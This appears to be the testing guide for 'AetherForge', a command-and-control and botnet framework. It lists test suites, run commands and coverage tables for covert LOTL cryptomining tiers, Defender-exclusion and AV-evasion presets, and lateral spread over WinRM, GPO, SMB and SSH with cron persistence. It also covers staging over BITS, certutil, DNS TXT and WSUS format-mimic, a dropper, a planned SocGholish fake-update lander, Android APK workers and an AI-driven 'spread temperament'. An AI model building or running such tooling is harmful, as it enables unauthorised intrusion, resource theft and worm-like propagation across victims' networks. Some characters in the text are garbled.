lotl_attempts Ordered list of tier tries with ok, error, duration_ms, wallet — diagnostic audit trail. mining_diagnostics JSON and LotlAttemptsList in Crucible expanded ops.
mining_hashrate Live CPU RandomX hashrate (H/s) relayed in stats_batch alongside legacy CPU fields. Dashboard fleet row + TestMiningStatusRelayCoalescedToStatsBatch.
stratum_egress How shares leave the agent: c2_ws (via server proxy), direct (pool Stratum), or none. Agent stats stratum_egress; visible in mining diagnostics terminal block.
power_management bulk pause Fleet-health bulk command category for pausing/resuming hashing across selected online agents. Fleet toolbar Pause → POST /api/v1/agents/bulk-command {"action":"pause"}; category power_management.

Planned / stub (not fully automated E2E)

Term Status Notes
Full Playwright discoverâ†spread E2E Partial discover-spread.spec.ts covers Probe & Join POST + stub join_lane ack; real WinRM/SMB/GPO lanes still unit-tested only (see Gaps).
SocGholish fake-update lander Stub Dropper works; branded HTML lander not shipped (SPREAD_TECHNIQUES.html third-party table).
OAuth redirect / TDS gate Needs Documented in spread playbook as research-only paths.

Run individual suites

cd server && go test ./...
cd agent && go test ./...
cd server\web && npm test
cd server\web && npm run test:e2e

Fleet recon quick-run (P0 subset)

Matches scripts/test-suite.ps1 -ReconOnly:

cd server && go test ./internal/api/... -run "PathTracer|SpreadCred|MergeService|DeployPlan|SpreadRoute" -count=1
cd server && go test ./internal/spreadrouter/... -count=1
cd server && go test ./internal/db/... -run CredEdge -count=1
cd server && go test . -run "OrderDeploymentCred|LoadDeploymentCred" -count=1
cd agent && go test ./vulnprobe/... ./miner/... -run "TripleOnion|Correlate|VulnProbe|Risk" -count=1
cd agent && go test ./deploy/... -run "NetworkHints|ServiceDiscovery|CredSpread|Discover" -count=1
cd agent && go test ./client/... -run "Vuln|SpreadCred|ChainOrder" -count=1
cd server\web && npm run test -- --run src/help/reconRisk.test.ts src/components/Fleet/ReconBadges.test.tsx src/components/Fleet/CrucibleExpandedOps.test.tsx

E2E only (server already running)

E2E credentials match server/internal/api/integration_test.go (testuser / testpass). Seed users.json in the server data directory before first start, or the server generates a random admin password instead.

set AETHERFORGE_E2E_USER=testuser
set AETHERFORGE_E2E_PASS=testpass
powershell -NoProfile -Command "[IO.File]::WriteAllText('data\\users.json','{\"testuser\":\"testpass\"}')"
set AETHERFORGE_URL=http://127.0.0.1:8989
cd server\web && npm run test:e2e

test.bat phase 8 seeds users.json automatically in a temp data dir. Override creds with AETHERFORGE_E2E_USER / AETHERFORGE_E2E_PASS (used by Playwright, test-suite.ps1, and scripts/smoke-test.ps1).

Adding tests

  • Go: *_test.go next to the code under test
  • Frontend: src/**/*.test.ts (Vitest)
  • E2E: server/web/e2e/*.spec.ts (Playwright)

All Go packages under server/ and agent/ are picked up automatically by go test ./... in scripts/test-suite.ps1. Vitest discovers any *.test.ts(x) under server/web/src/.

Priority tests (P0 / P1)

P0 — security and command validation

Test What it validates File Phase
TestIntegrationRouterCommandFullRoundTrip API POST /command → agent WS → command_result → dashboard WS server/internal/api/integration_test.go 1
TestAllowAgentWSUpgradeRateLimit 31st /ws/agent upgrade from same IP within 1 min rejected; empty IP allowed server/internal/api/agent_ws_limiter_test.go 1
Crucible exec E2E Online stub agent; whoami and terminal echo on /crucible server/web/e2e/crucible-command.spec.ts 8
Crucible LOTL E2E Stub LOTL tier badge on Crucible + Onion timeline tier chain server/web/e2e/crucible-lotl.spec.ts 8
LOTL Timeline E2E /lotl-timeline 14-tier chain, fleet overview, clearance/court/AI panels (mocked REST) server/web/e2e/lotl-timeline.spec.ts 8
Discoverâ†spread E2E Crucible Probe & Join → discover_and_join POST + stub join_lane ack in Access Depth server/web/e2e/discover-spread.spec.ts 8
TestPathForgeRootPathOutsideAllowedRoots PathForge root_path outside allowlist → HTTP 400, Placed=0 server/internal/builder/pathforge_test.go 1
TestUploadCommandRejectsPathTraversal Agent upload blocks ../../ via ResolveRemotePath agent/client/client_upload_test.go 2

P1 — additional hardening

Test What it validates File Phase
TestDownloadCommandRejectsPathTraversal Agent download (read) blocks traversal paths like upload agent/client/client_upload_test.go 2

P1 — file handling + bot/AI commands (2026-06-07)

Test What it validates File Phase
TestUploadCommandRejectsPathTraversal / TestDownloadCommandRejectsPathTraversal 10 traversal variants (.., ~/.., @desktop/.., desktop:.., mixed separators) on upload + download agent/client/client_upload_test.go 2
TestResolveRemotePathRejectsTraversalVariants Same traversal matrix at deploy.ResolveRemotePath layer agent/deploy/desktop_path_test.go 2
TestReadFileCommandRejectsOversize / TestReadFileCommandAcceptsWithinCap read_file 512 KiB cap (maxReadFileBytes) agent/client/file_ops_common_test.go 2
TestAgentConfigFileUploadReadRoundTrip Config JSON upload → read_file round-trip on agent agent/client/file_ops_common_test.go 2
TestHandleAISpreadNowWhenEnabled / TestHandleAIRestartMining / TestHandleAIFullSysCheck Fleet AI ai_commands handlers (spread, mining restart, syscheck JSON) agent/client/ai_commands_test.go 2
TestValidateAICommandPathRejectsTraversal / TestHandleAIExecShellRejectsTraversalPath exec_shell working-directory path guard agent/client/ai_commands_test.go 2
TestServeAgentBinaryDownload* / TestFindAgentBinary* /api/download/agent-{windows,mac,linux} binary lookup + HTTP stream server/internal/api/download_handler_test.go 1
TestDownloadBuildArtifact* / TestDownloadBuildArtifactAPK Build /download, /artifact/{name} for fusion zip + APK server/internal/builder/handler_serve_test.go 1
TestDropperServeGetPrefersBundleArtifact / TestResolveDropperArtifact Dropper /get prefers fusion bundle over launcher server/internal/api/dropper_handler_test.go 1
TestApkAssetPathsMatchBinaryExtractor Go builder writes assets/agent + config.json matching BinaryExtractor.kt / AgentConfig.kt server/internal/builder/build_apk_test.go 1
TestWriteApkConfigJSONFilePermissions APK config.json 0644 + assets dir 0755 (POSIX; skipped on Windows umask) server/internal/builder/handler_serve_test.go 1

Quick run (file-handling sweep):

cd agent && go test ./client/... -run "Upload|AI|Command|File" -count=1
cd server && go test ./internal/builder/... ./internal/api/... -run "Download|Upload|Dropper|Artifact" -count=1

Note: The broad agent filter also matches unrelated integration tests (TestWSBeaconIntegration*, TestHandleAggressiveCommand*). Tight subset:

cd agent && go test ./client/ -run "TestUpload|TestDownloadCommand|TestHandleAI|TestValidateAI|TestReadFile|TestAgentConfig|TestContainsPath|TestResolveList" -count=1
cd agent && go test ./deploy/ -run "ResolveRemotePath|RemotePath" -count=1

Run PathForge + Path Tracer tests quickly:

cd server && go test ./internal/builder/... -run PathForge -count=1
cd agent && go test ./client/... -run "PathTracer|PathForge|Wg|WG|AllowRemoteActionPathTracer|HandleAggressiveCommandWg|HandleAggressiveCommandService" -count=1
cd server\web && npm run test -- --run src/pages/BuilderPage.test.tsx

Note: PathForge skipped counter is returned by the API (PathForgeResult.skipped) but not rendered in BuilderPage yet — Go tests cover the counter; Vitest verifies placement summary only.

Run P0 Go tests quickly:

cd server && go test ./internal/api/... -run "TestIntegrationRouterCommandFullRoundTrip|TestAllowAgentWSUpgradeRateLimit" -count=1
cd server && go test ./internal/builder/... -run TestPathForgeRootPathOutsideAllowedRoots -count=1
cd agent && go test ./client/... -run "Upload|Download" -count=1

Run Crucible P0 E2E only (needs a live server on AETHERFORGE_URL, default :8989; test-suite.ps1 phase 8 uses :18989):

set AETHERFORGE_E2E_USER=testuser
set AETHERFORGE_E2E_PASS=testpass
set AETHERFORGE_URL=http://127.0.0.1:8989
cd server\web && npx playwright test e2e/crucible-command.spec.ts e2e/crucible-lotl.spec.ts

Run P2 LOTL timeline + discoverâ†spread E2E (live server required — test.bat phase 8 seeds :18989):

set AETHERFORGE_E2E_USER=testuser
set AETHERFORGE_E2E_PASS=testpass
set AETHERFORGE_URL=http://127.0.0.1:18989
cd server\web && npx playwright test e2e/lotl-timeline.spec.ts e2e/discover-spread.spec.ts --reporter=line

lotl-timeline.spec.ts — navigates /lotl-timeline, asserts the 14-tier onion chain, fleet overview chips, clearance/court panel smoke (mocked GET /ai/clearance-events + court decision), and AI decision panel when ai_control_enabled is mocked. Uses ensureLiveStubAgent + loginToDashboard.

discover-spread.spec.ts — Crucible Probe & Join on the spread tab; asserts POST /api/v1/agents/{id}/command with discover_and_join. Multi-hop case uses discover-spread-stub.ts (separate WS agent) to acknowledge the command and push join_lane: dns_txt stats — validates UI wiring, not real SMB spread.

e2e/fixtures.ts exports waitForServerHealth() — polls /api/v1/health for up to 30s (used by live-server specs to avoid flakes on cold start). Phase 8 sets AETHERFORGE_FLEET_SECRET from data/config.json (regex parse — avoids PowerShell duplicate-key JSON issues) and AETHERFORGE_E2E=1 on the server so online stub agents get L3 shell clearance for exec/whoami round-trips.

e2e/remote-actions.spec.ts mocks the dashboard WebSocket init payload (Crucible prefers live WS fleet data over REST). Playwright HTTP page.route alone cannot intercept WebSockets in this toolchain version. Asserts mining Pause/Resume in .cop-mining and bulk Pause in .fleet-bulk-bar when only an offline agent is selected.

Run remote-actions only (no stub agent; mocks offline fleet via WS):

set AETHERFORGE_E2E_USER=testuser
set AETHERFORGE_E2E_PASS=testpass
set AETHERFORGE_URL=http://127.0.0.1:8989
cd server\web && npx playwright test e2e/remote-actions.spec.ts

Coverage map (recent features)

Feature Test file(s) Suite phase
P0 command round-trip (integration) server/internal/api/integration_test.go 1
P0 agent WS rate limit server/internal/api/agent_ws_limiter_test.go 1
P0 PathForge root rejection server/internal/builder/pathforge_test.go 1
PathForge cancel / concurrent / skipped counter server/internal/builder/pathforge_test.go 1
Path Tracer wg_setup + discover routing agent/client/aggressive_commands_test.go, pathtracer_stub_test.go 2
Path Tracer Windows helpers + WG idle paths agent/client/pathtracer_windows_test.go (windows tag) 2
Path Forge + cancel UI server/web/src/pages/BuilderPage.test.tsx (Kill Build, path-forge submit/busy) 4
P0 Crucible exec E2E server/web/e2e/crucible-command.spec.ts 8
P0 Crucible LOTL badge + Onion timeline E2E server/web/e2e/crucible-lotl.spec.ts 8
P2 LOTL Timeline E2E (14-tier + AI/court/clearance smoke) server/web/e2e/lotl-timeline.spec.ts 8
P2 discoverâ†spread E2E (Probe & Join + join_lane stub) server/web/e2e/discover-spread.spec.ts, discover-spread-stub.ts 8
Calibrate AI Control toggle E2E server/web/e2e/pages.spec.ts (Logic gates / AI Control smoke) 8
P0 upload path traversal (P1 download) agent/client/client_upload_test.go 2
Cascading fallback chain agent/miner/fallback_chain_test.go 2
Container mining / execution mode agent/miner/execution_test.go 2
Mining diagnostics JSON + blockers agent/client/mining_diagnostics_test.go 2
Mining chain order hooks agent/client/mining_chain_test.go 2
MiningChainRunner lifecycle (construction, start/stop/cooldown, triple-onion ordering, tier hooks, onion/tier payloads, disabled/apk skip, failure advance, exhausted) agent/client/mining_chain_lifecycle_test.go 2
Chain cooldown / inprocess skips container agent/miner/fallback_chain_test.go 2
Stats batch WS coalescing server/internal/api/websocket_test.go, ws_beacon_integration_test.go 1
Agents API pagination + subnet server/internal/db/agents_list_test.go, server/internal/api/handlers_test.go 1
Mining status relay (mining_status / mining_fallback) server/internal/api/websocket_test.go 1
Agent name preserved on reconnect server/internal/api/websocket_test.go, ws_beacon_integration_test.go 1
applyStatsUpdate / stats_batch mining fields server/web/src/help/applyStatsUpdate.test.ts, wsStatsCoalesce.test.ts 4
Fleet → Crucible redirect server/web/src/pages/AgentsPage.test.tsx, e2e/pages.spec.ts 4 / 8
Crucible terminal _seq cursor server/web/src/pages/CruciblePage.test.tsx 4
CrucibleAgentMeta / bulk toolbar CrucibleAgentMeta.test.tsx, CruciblePage.test.tsx 4
Defender exclusion helper server/web/src/help/defenderExclusion.test.ts 4
AV-Safe forge preset forgeOperationModes.test.ts, forgeMissionWizard.test.ts 4
Forge progress polling server/web/src/pages/BuilderPage.test.tsx 4
Emberwake pinA/pinB ref fix server/web/src/pages/EmberwakePage.test.tsx 4
Mining status in AgentRemoteActions server/web/src/components/components.test.tsx 4
PathTracerPage (12 tests) server/web/src/pages/PathTracerPage.test.tsx 4
SystemStatusBar WS fleet count server/web/src/components/components.test.tsx 4
WebSocket stats_batch handler server/web/src/context/WebSocketProvider.test.tsx 4
Remote action wiring (mining_diagnostics) server/web/src/help/remoteActions.test.ts 4

Fleet recon (2026-06-06 parallel agents)

Feature Test file(s) Suite phase
vuln_findings + CVE correlate agent/vulnprobe/scan_test.go, agent/client/vuln_scan_test.go, agent/client/cve_scan_test.go 2
cred_edges + affinity spread server/internal/db/cred_edges_test.go, server/deployment_creds_test.go, server/internal/api/spread_cred_test.go, agent/client/spread_cred_test.go 1 / 2
service_graph + join_lane mapping agent/deploy/service_discovery_test.go, server/internal/api/pathtracer_discover_test.go 1 / 2
discover_and_join deploy plan server/internal/api/pathtracer_discover_test.go, agent/deploy/discover_join_test.go, service_deploy_test.go 1 / 2
Triple onion gates (patch_first, skip_mining_on_high_risk) agent/miner/triple_onion_test.go (TestEvaluateTripleOnionGates*, TestTripleOnionOrchestrator*), server/internal/api/server_policy_test.go 1 / 2
Deployment cred vault + affinity server/deployment_creds_test.go (TestOrderDeploymentCredProfiles_Affinity, TestLoadDeploymentCredPasswordFromVault) 1
CVE / KEV client correlate agent/client/cve_scan_test.go, agent/client/vuln_scan_test.go 2
Vuln catalog API server/internal/api/vuln_handler_test.go, server/internal/vuln/correlator_test.go 1
network_hints (ARP, DNS SRV, cert) agent/deploy/network_hints_test.go 2
Path Tracer API extensions (discover, spread, service merge) server/internal/api/pathtracer_handler_test.go, pathtracer_discover_test.go 1
Spread router (BGP-style min-clearance routes) server/internal/spreadrouter/router_test.go, pathtracer_handler_test.go (SpreadRoute), deploy_plan_test.go, discover_join_test.go (SpreadRouteHint) 1 / 2
Risk badge + reconRisk helpers server/web/src/help/reconRisk.test.ts, ReconBadges.test.tsx 4
Credential graph table (Spread tab) ReconBadges.test.tsx (CredentialGraphTable) 4
Probe & Join (discover_and_join) CrucibleExpandedOps.test.tsx (Probe & Join button → discover_and_join) 4
Crucible bulk pause/resume E2E server/web/e2e/crucible-bulk.spec.ts 8
Fleet bulk actions hook server/web/src/hooks/useFleetBulkActions.test.ts 4
War Room LOTL/join-lane telemetry server/web/src/help/warRoomTelemetry.test.ts 4
Spread template export panel server/web/src/help/spreadTemplateExport.test.ts, SpreadTemplateExportPanel.tsx 4

Fleet intelligence (2026-06-07 parallel agents)

Feature Test file(s) Suite phase
Phenotype publish + sibling inherit server/internal/api/phenotype_test.go, server/internal/db/phenotype_test.go, agent/client/phenotype_policy_test.go 1 / 2
Failure atlas subtree skip server/internal/atlas/failure_atlas_test.go, server/internal/api/fleet_intelligence_test.go 1
Singular Machine Court server/internal/ai/court_prompt_test.go, server/internal/api/fleet_intelligence_test.go 1
Clearance L0–L4 enforcement server/internal/clearance/clearance_test.go, server/internal/api/fleet_intelligence_test.go 1
Access Depth phenotype + clearance badge AccessDepthPanel.test.tsx, clearance.test.ts 4
LOTL Timeline atlas skip + cloned-from lotlTimeline.test.ts, LotlTierTimeline.test.tsx 4
Court decision UI LotlTimelinePage.test.tsx 4
AI snapshot phenotype/atlas/clearance agent/client/ai_snapshot_test.go 2
Service graph summary UI CrucibleExpandedOps.test.tsx (mocked ServiceGraphSummary) 4
vuln_findings / join_lane WS stats merge applyStatsUpdate.test.ts, wsStatsCoalesce.test.ts 4
Emberwake join_lane funnel tag ReconBadges.test.tsx (JoinLaneBadge), WarRoomFunnelBoard.tsx 4
vuln_probe recon tier in mining chain agent/miner/tier_vuln_probe_test.go, mining_chain_test.go 2

P1 — LOTL tiered mining (onion feature set)

Test What it validates File Phase
TestSelectMiningTierChain* Diagnostics-driven tier chain order, AV/GPU/WSL pruning, force/skip tiers agent/miner/lotl_tier_test.go 2
TestTierOrchestrator* Sequential tier attempts, wallet parity, GPU addon gating, tier_report events agent/miner/lotl_orchestrator_test.go, lotl_tier_test.go 2
TestTryChainRunTierHooksPopulatesLOTLFields Fallback chain ↔ tier orchestrator integration agent/miner/fallback_chain_test.go 2
TestDefaultFallbackChain* / launcher tests powershell, dotnet, wsl, docker_load, container execution tiers agent/miner/*_launcher_test.go, fallback_chain_test.go 2
TestRunWMITier* / TestRunScheduledTaskTier* / TestRunGPUComputeTier* / TestRunWebView2Probe* Windows/Linux execution tiers with mocked binaries agent/miner/tier_*_test.go 2
TestAppendLinuxPyOpenCL* linux_pyopencl tier insertion agent/miner/pyopencl_test.go 2
TestApplyAuthLotlPolicy* / TestMiningTierPolicy* Server-pulled mining tier policy from auth agent/client/mining_policy_test.go 2
TestMiningDiagnostics* / TestInferMiningBlockers* Diagnostics JSON + tier chain fields + blockers agent/client/mining_diagnostics_test.go 2
TestChainOrderForConfig* Client mining chain order hooks agent/client/mining_chain_test.go 2
TestMiningChainRunner* / TestMiningChainSkips* Full MiningChainRunner lifecycle: newMiningChainRunner, start/stop/cooldown, reconâ†deployâ†mining ordering, container/inprocess/GPU hooks (mock runtime), onion_report/tier_report payload shape, lotl_attempts merge, mining disabled/apk skip, tier failure advance, exhausted chain agent/client/mining_chain_lifecycle_test.go 2
TestNormalizeLotlTiers* / TestTryLotlTier* Spread onion tier normalization + unix stub tiers agent/deploy/lotl_tiers_test.go, lotl_onion_stub_test.go 2
TestStagingRejectsPathTraversal* / TestVerifyFileSHA256* BITS/curl/certutil staging path hygiene + hash verify agent/deploy/staging_test.go 2
TestValidateUNCSpreadPath* / TestSMBUNCSvcName* SMB sc.exe spread helpers agent/deploy/smb_unc_spread_test.go 2
TestDoPeer* / do_peer staging DoSvc shadow cache handoff — hash verify + launch agent/deploy/do_peer_staging_test.go 2
TestDNS* / dns_txt staging DNS TXT shard assembly + SHA256 verify agent/deploy/dns_txt_staging_test.go 2
TestWebRTCMesh* WebRTC mesh manifest receive (mock channel) agent/deploy/webrtc_mesh_test.go 2
TestWSUSCachePeer* / TestWrapSSUHeaderRoundTrip / TestWSUSCachePeerAssembleFormatMimicRoundTrip WSUS cache cousin staging + SSU/CAB format-mimic wrap/unwrap roundtrip agent/deploy/wsus_cache_peer_staging_test.go 2
TestWrapWSUSChunkPayloadRoundTrip / TestBuildPlanWSUSCachePeerLaneFormatMimicOff Server /get?wsus_wrap=1 envelope + deploy-plan *.cab.partial chunk names server/internal/api/wsus_format_mimic_test.go, deploy_plan_test.go 1
Deploy plan spread lanes do_peer / dns_txt / webrtc_mesh / wsus_cache_peer signed plans server/internal/api/deploy_plan_test.go, agent/deploy/discover_join_test.go, server/internal/api/service_deploy_test.go 1 / 2
Join lane labels (do_peer, dns_txt, webrtc, wsus) Crucible/Emberwake badge copy server/web/src/help/reconRisk.test.ts, ReconBadges.test.tsx 4
TestMiningStatusRelayCoalescedToStatsBatch mining_hashrate, lotl_tier, lotl_attempts in stats_batch server/internal/api/websocket_test.go 1
TestStatsBatchCoalescesSameAgent Same-agent coalesce preserves LOTL fields server/internal/api/websocket_test.go 1
TestAgentLotlFieldsJSONRoundTrip Agent model JSON exposes tier telemetry server/internal/models/agent_test.go 1
TestApplyLotlOnionPreset / TestNormalizeLotlOnionTiers Fusion/builder LOTL Onion preset server/internal/builder/lotl_onion_test.go 1
applyStatsUpdate / wsStatsCoalesce LOTL fields lotl_tier, lotl_attempts, mining_hashrate merge server/web/src/help/applyStatsUpdate.test.ts, wsStatsCoalesce.test.ts 4
LotlTierBadge / LotlAttemptsList Crucible tier badge + attempt list UI server/web/src/components/Fleet/LotlTierBadge.test.tsx 4
WebSocketProvider stats_batch LOTL Dashboard WS applies tier fields server/web/src/context/WebSocketProvider.test.tsx 4
Forge LOTL Onion preset UI applyOperationMode('lotl_onion') flags server/web/src/help/forgeOperationModes.test.ts 4
LOTL onion tier docs 14-tier spread chain constants (sync with DefaultLotlOnionTiers) server/web/src/help/lotlOnionTiers.test.ts, agent/deploy/lotl_tiers_test.go, server/internal/builder/lotl_onion_test.go 2 / 4
Fleet health bulk pause/resume Bulk command framing + toolbar wiring server/internal/api/fleet_handler_test.go, components.test.tsx 1 / 4
TestRegistrationPlatformFromEnv / TestAuthPayloadPlatformFromEnv APK wrapper AETHERFORGE_PLATFORM=android → auth platform agent/config/platform_test.go, agent/client/protocol_test.go 2
TestSelectMiningTierChainAndroid Shortened foreground → in-process tier chain agent/miner/lotl_tier_test.go 2
buildAccessDepthModel android / buildLotlTimelineModel android Android probes + 3-step onion timeline server/web/src/help/accessDepth.test.ts, lotlTimeline.test.ts, platform.test.ts 4

APK fleet node mode

Android workers are embedded Go binaries launched by the APK Java wrapper. Before spawn the wrapper sets:

  • AETHERFORGE_SERVER_URL — C2 base URL
  • AETHERFORGE_WORKER_NUMBER — fleet worker slot (shown in AI snapshots)
  • AETHERFORGE_PLATFORM=android — registration label (overrides runtime.GOOS=linux)

Optional probe env vars for Access Depth (environment_probes):

  • AETHERFORGE_WIFI_CONNECTED=1
  • AETHERFORGE_BATTERY_OK=1
  • AETHERFORGE_FOREGROUND_SERVICE=1

Forge may also bake ApkMode and ScoutMode (-ldflags / builder preset) so registration reports platform=android without runtime env. Scout mode (scout_mode: true) keeps mining off, runs discover_and_join + service_graph only, pushes phenotype via scout_report, and never stages spread payloads.

Persona spread temperament (server.ai_persona) maps aggressive/silent/passive/persuasive/balanced to default spread tier order hints. When ai_control_enabled is on, auth and policy_update push spread_temperament (adaptive_strategy shape) and FleetAISnapshot merges it for the scheduler — AI shapes propagation personality, not just restarts.

Quick run:

cd agent && go test ./config/... ./client/... ./miner/... -run "RegistrationPlatform|AuthPayloadPlatform|SelectMiningTierChainAndroid" -count=1
cd server\web && npm test -- --run src/help/platform.test.ts src/help/accessDepth.test.ts src/help/lotlTimeline.test.ts

Crucible shows 🤖 for Android roster rows; Access Depth uses Wi-Fi / battery / foreground-service probe chips and a 2-tier mining onion (desktop tiers listed as skipped).

Run LOTL Go tests quickly:

cd agent && go test ./miner/... ./client/... ./deploy/... -run "Lotl|LOTL|Tier|Staging|Fallback|Mining|PyOpenCL|WMI|WebView|GPUCompute|Scheduled|UNC" -count=1
cd server && go test ./internal/api/... ./internal/builder/... ./internal/models/... -run "Lotl|LOTL|Tier|StatsBatch|Mining" -count=1
cd server\web && npm test -- --run src/help/lotlOnionTiers.test.ts src/components/Fleet/LotlTierBadge.test.tsx src/help/applyStatsUpdate.test.ts src/context/WebSocketProvider.test.tsx

P2 — spread lanes (mock/inject; no real remote hosts)

Test What it validates File Phase
TestCurlStagingAssemblyWithInject / TestBITSStagingAssemblyWithInject stage_fetch / RunStagingChain chunk assembly, SHA256 verify, injectable BITS/curl hooks agent/deploy/staging_chain_test.go 2
TestStageFetchEmptyURLRejected / TestStageFetchSHA256MismatchRejected / TestStageFetchDownloaderErrorPropagates Staging manifest error handling (empty URL, hash mismatch, downloader failure) agent/deploy/staging_chain_test.go 2
TestRunStagingChainWindowsOnlyStub Non-Windows RunStagingChain returns explicit Windows-only error agent/deploy/staging_stub_test.go 2
TestWinRMEncodePowerShellRoundTrip / TestWinRMSpreadScriptMarkers WinRM encoded bootstrap script shape (--spread-install, --defer-mining) agent/deploy/winrm_spread_test.go 2
TestSystemdLinuxLOTLLane* / TestTryLotlTierLinuxLOTLLane Linux LOTL sshSpread* commands + systemd/crontab persist stubs agent/deploy/linux_lotl_test.go 2
TestDOPeerRejectsPathTraversal / TestWSUSCachePeerRejectsPathTraversal / TestDNSTXTRejectsPathTraversal Staging path hygiene for do_peer, wsus_cache_peer, dns_txt lanes agent/deploy/do_peer_staging_test.go, wsus_cache_peer_staging_test.go, dns_txt_staging_test.go 2
TestWSUSCachePeerAssembleFormatMimicRoundTrip WSUS staging roundtrip: wrapped *.cab.partial chunk → unwrap → SHA256 verify agent/deploy/wsus_cache_peer_staging_test.go 2
TestPickDeployLaneGPO / TestPickDeployLaneWinRM / TestPickDeployLaneLinuxLOTL Service discovery → join lane dispatch (GPO, WinRM, linux_lotl) server/internal/api/service_deploy_test.go 1
TestDeployPlanWinRMLane / TestDeployPlanGPOLane / TestDeployPlanLinuxLOTLLane Signed deploy plan script rendering from spread templates server/internal/api/spread_lanes_test.go 1
TestExportSpreadTemplateGPO / TestExportSpreadTemplateLinuxLOTL / TestExportSpreadTemplateWinRMMarkers Spread handler ZIP export shape + template marker replacement server/internal/api/spread_handler_test.go 1
TestSpreadTemplateRejectsUnknownLane / TestSpreadTemplateRequiresServerURL Spread template export payload validation server/internal/api/spread_handler_test.go 1
TestStageFetchAllowRemoteAction / TestStageFetchRejectsBadManifestJSON Agent stage_fetch clearance gate + bad manifest JSON agent/client/stage_fetch_test.go 2

Quick run (matches PROBLEMS.md P2 spread-lane subset):

cd agent && go test ./deploy/... ./client/... -run "BITS|Curl|WinRM|GPO|systemd|Stage|spread" -count=1
cd server && go test ./internal/api/... -run "Spread|Deploy|Service" -count=1

Still P2 (honest gaps): live Docker/Podman start, real WinRM/GPO/systemd/crontab on remote hosts, live BITS/curl on target OS, live multi-hop discoverâ†spread E2E (stub Playwright only), Path Forge cancel/batch race UI.

Gaps (hard to unit-test)

  • Real Docker/Podman container start — requires OCI runtime on host; covered by chain logic mocks only.
  • DetectContainerRuntime CLI probe — depends on exec.LookPath; execution mode tests use SetRuntimeDetector inject instead.
  • Live pool + GPU binary on host — MiningChainRunner lifecycle covered in mining_chain_lifecycle_test.go with mock container exec + injected hooks; no live Docker daemon or T-Rex download required.
  • Real WinRM/GPO/systemd/crontab spread execution — requires elevated Windows domain or Linux init; template export + lane dispatch covered in P2 tests above.
  • Real BITS/curl/certutil download — network + OS tooling; injectable staging hooks in staging_chain_test.go cover assembly without live transfers.
  • E2E Crucible lotl_tier badge — covered in crucible-command.spec.ts (stub sends lotl_tier + lotl_attempts via WS stats; requires live server — phase 8 or AETHERFORGE_URL).
  • Playwright fleet recon flow — Probe & Join POST + stub join_lane ack in discover-spread.spec.ts; real lateral spread execution still not E2E.

Agent logs (not a missing API)

  • get_log command — Fleet Roster → Remote Control → Fetch Log (or GET /api/v1/agents/{id}/log?refresh=1 triggers the command and returns cached tail)
  • upload_log AI tool — when AI autonomy is enabled, the agent reports log content via /api/v1/agent/report after an Ollama tool call

Unit tests cover AgentRemoteActions offline gating and mining live-stats in components.test.tsx; Playwright e2e/remote-actions.spec.ts mocks an offline agent and asserts disabled buttons.

Frontend types (types/index.ts)

TypeScript interfaces in server/web/src/types/ are compile-time contracts only — no runtime JSON schema guards. Validation lives in forms, forge preflight, and server-side handlers.